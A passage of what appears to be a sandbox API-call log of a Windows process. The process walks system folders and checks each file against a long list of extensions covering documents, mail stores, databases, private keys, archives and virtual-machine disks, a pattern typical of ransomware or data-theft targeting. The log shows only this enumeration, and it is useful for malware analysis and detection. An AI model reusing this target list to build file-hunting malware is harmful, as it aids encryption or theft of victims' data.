(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qba") returned 0 [0120.546] lstrlenA (lpString="*.qba") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qby") returned 0 [0120.546] lstrlenA (lpString="*.qby") returned 5 [0120.546] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qbj") returned 0 [0120.547] lstrlenA (lpString="*.qbj") returned 5 [0120.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.ofx") returned 0 [0120.547] lstrlenA (lpString="*.ofx") returned 5 [0120.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.qif") returned 0 [0120.547] lstrlenA (lpString="*.qif") returned 5 [0120.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mye") returned 0 [0120.547] lstrlenA (lpString="*.mye") returned 5 [0120.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mbox") returned 0 [0120.547] lstrlenA (lpString="*.mbox") returned 6 [0120.547] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.547] lstrlenA (lpString="*.eml") returned 5 [0120.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.pst") returned 0 [0120.548] lstrlenA (lpString="*.pst") returned 5 [0120.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.ost") returned 0 [0120.548] lstrlenA (lpString="*.ost") returned 5 [0120.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.idx") returned 0 [0120.548] lstrlenA (lpString="*.idx") returned 5 [0120.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.dbx") returned 0 [0120.548] lstrlenA (lpString="*.dbx") returned 5 [0120.548] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.sql") returned 0 [0120.549] lstrlenA (lpString="*.sql") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mdb") returned 0 [0120.549] lstrlenA (lpString="*.mdb") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.fdb") returned 0 [0120.549] lstrlenA (lpString="*.fdb") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.wab") returned 0 [0120.549] lstrlenA (lpString="*.wab") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.dat") returned 0 [0120.549] lstrlenA (lpString="*.dat") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.txt") returned 0 [0120.549] lstrlenA (lpString="*.txt") returned 5 [0120.549] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0120.550] lstrlenA (lpString="*.jpeg") returned 6 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.jpg") returned 0 [0120.550] lstrlenA (lpString="*.jpg") returned 5 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.png") returned 0 [0120.550] lstrlenA (lpString="*.png") returned 5 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.php") returned 0 [0120.550] lstrlenA (lpString="*.php") returned 5 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.cs") returned 0 [0120.550] lstrlenA (lpString="*.cs") returned 4 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.cpp") returned 0 [0120.550] lstrlenA (lpString="*.cpp") returned 5 [0120.550] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.rar") returned 0 [0120.550] lstrlenA (lpString="*.rar") returned 5 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.zip") returned 0 [0120.551] lstrlenA (lpString="*.zip") returned 5 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.html") returned 0 [0120.551] lstrlenA (lpString="*.html") returned 6 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.htm") returned 0 [0120.551] lstrlenA (lpString="*.htm") returned 5 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0120.551] lstrlenA (lpString="*.xlsx") returned 6 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.xls") returned 0 [0120.551] lstrlenA (lpString="*.xls") returned 5 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mp4") returned 0 [0120.551] lstrlenA (lpString="*.mp4") returned 5 [0120.551] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.ppt") returned 0 [0120.551] lstrlenA (lpString="*.ppt") returned 5 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.pptx") returned 0 [0120.552] lstrlenA (lpString="*.pptx") returned 6 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.doc") returned 0 [0120.552] lstrlenA (lpString="*.doc") returned 5 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.dot") returned 0 [0120.552] lstrlenA (lpString="*.dot") returned 5 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.docx") returned 0 [0120.552] lstrlenA (lpString="*.docx") returned 6 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.7z") returned 0 [0120.552] lstrlenA (lpString="*.7z") returned 4 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.tar") returned 0 [0120.552] lstrlenA (lpString="*.tar") returned 5 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.bz2") returned 0 [0120.552] lstrlenA (lpString="*.bz2") returned 5 [0120.552] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.gz") returned 0 [0120.553] lstrlenA (lpString="*.gz") returned 4 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mkv") returned 0 [0120.553] lstrlenA (lpString="*.mkv") returned 5 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.eml") returned 0 [0120.553] lstrlenA (lpString="*.eml") returned 5 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.msg") returned 0 [0120.553] lstrlenA (lpString="*.msg") returned 5 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.edb") returned 0 [0120.553] lstrlenA (lpString="*.edb") returned 5 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.accdb") returned 0 [0120.553] lstrlenA (lpString="*.accdb") returned 7 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.odb") returned 0 [0120.553] lstrlenA (lpString="*.odb") returned 5 [0120.553] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.java") returned 0 [0120.553] lstrlenA (lpString="*.java") returned 6 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.asm") returned 0 [0120.554] lstrlenA (lpString="*.asm") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.pfx") returned 0 [0120.554] lstrlenA (lpString="*.pfx") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.pem") returned 0 [0120.554] lstrlenA (lpString="*.pem") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.p12") returned 0 [0120.554] lstrlenA (lpString="*.p12") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.gpg") returned 0 [0120.554] lstrlenA (lpString="*.gpg") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.vsd") returned 0 [0120.554] lstrlenA (lpString="*.vsd") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.odg") returned 0 [0120.554] lstrlenA (lpString="*.odg") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.raw") returned 0 [0120.554] lstrlenA (lpString="*.raw") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.nef") returned 0 [0120.554] lstrlenA (lpString="*.nef") returned 5 [0120.554] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.svg") returned 0 [0120.554] lstrlenA (lpString="*.svg") returned 5 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.psd") returned 0 [0120.555] lstrlenA (lpString="*.psd") returned 5 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.vmx") returned 0 [0120.555] lstrlenA (lpString="*.vmx") returned 5 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0120.555] lstrlenA (lpString="*.vmdk") returned 6 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.vdi") returned 0 [0120.555] lstrlenA (lpString="*.vdi") returned 5 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.lay6") returned 0 [0120.555] lstrlenA (lpString="*.lay6") returned 6 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0120.555] lstrlenA (lpString="*.mpeg") returned 6 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.djvu") returned 0 [0120.555] lstrlenA (lpString="*.djvu") returned 6 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.tiff") returned 0 [0120.555] lstrlenA (lpString="*.tiff") returned 6 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.backup") returned 0 [0120.555] lstrlenA (lpString="*.backup") returned 8 [0120.555] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.pdf") returned 0 [0120.556] lstrlenA (lpString="*.pdf") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.cert") returned 0 [0120.556] lstrlenA (lpString="*.cert") returned 6 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.docm") returned 0 [0120.556] lstrlenA (lpString="*.docm") returned 6 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0120.556] lstrlenA (lpString="*.xlsm") returned 6 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.dwg") returned 0 [0120.556] lstrlenA (lpString="*.dwg") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.nd") returned 0 [0120.556] lstrlenA (lpString="*.nd") returned 4 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.tlg") returned 0 [0120.556] lstrlenA (lpString="*.tlg") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.lgb") returned 0 [0120.556] lstrlenA (lpString="*.lgb") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.mov") returned 0 [0120.556] lstrlenA (lpString="*.mov") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.xdw") returned 0 [0120.556] lstrlenA (lpString="*.xdw") returned 5 [0120.556] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Reflc3377498#\\af2d8a3b78f4fb4aae05fd3000a310b0\\System.Reflection.Context.ni.dll.aux", pszSpec="*.ods") returned 0 [0120.557] lstrlenA (lpString="*.ods") returned 5 [0120.557] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Reflection.Context.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0120.557] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0120.557] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9fd2b90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa9fd2b90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa9fd2b90, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="af2d8a3b78f4fb4aae05fd3000a310b0", cAlternateFileName="AF2D8A~1")) returned 0 [0120.558] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0120.558] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Runt19c51595#", cAlternateFileName="SYSTEM~3.RUN")) returned 1 [0120.558] lstrcmpA (lpString1=".", lpString2="System.Runt19c51595#") returned -1 [0120.558] lstrcmpA (lpString1="..", lpString2="System.Runt19c51595#") returned -1 [0120.558] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0120.558] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Runt19c51595#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#" [0120.558] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#") returned 67 [0120.558] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0120.558] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0120.558] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.558] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0120.559] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0120.559] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b0dacf0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x8b0dacf0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x8b0dacf0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="81ff36170026dab1e67c6eab3e1751be", cAlternateFileName="81FF36~1")) returned 1 [0120.559] lstrcmpA (lpString1=".", lpString2="81ff36170026dab1e67c6eab3e1751be") returned -1 [0120.559] lstrcmpA (lpString1="..", lpString2="81ff36170026dab1e67c6eab3e1751be") returned -1 [0120.559] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\*.*") returned="*.*" [0120.606] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\", lpString2="81ff36170026dab1e67c6eab3e1751be" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be" [0120.606] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be") returned 100 [0120.606] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Runt19c51595#\\81ff36170026dab1e67c6eab3e1751be\\*.*", lpFindFileData=0x18f7a8 | out: 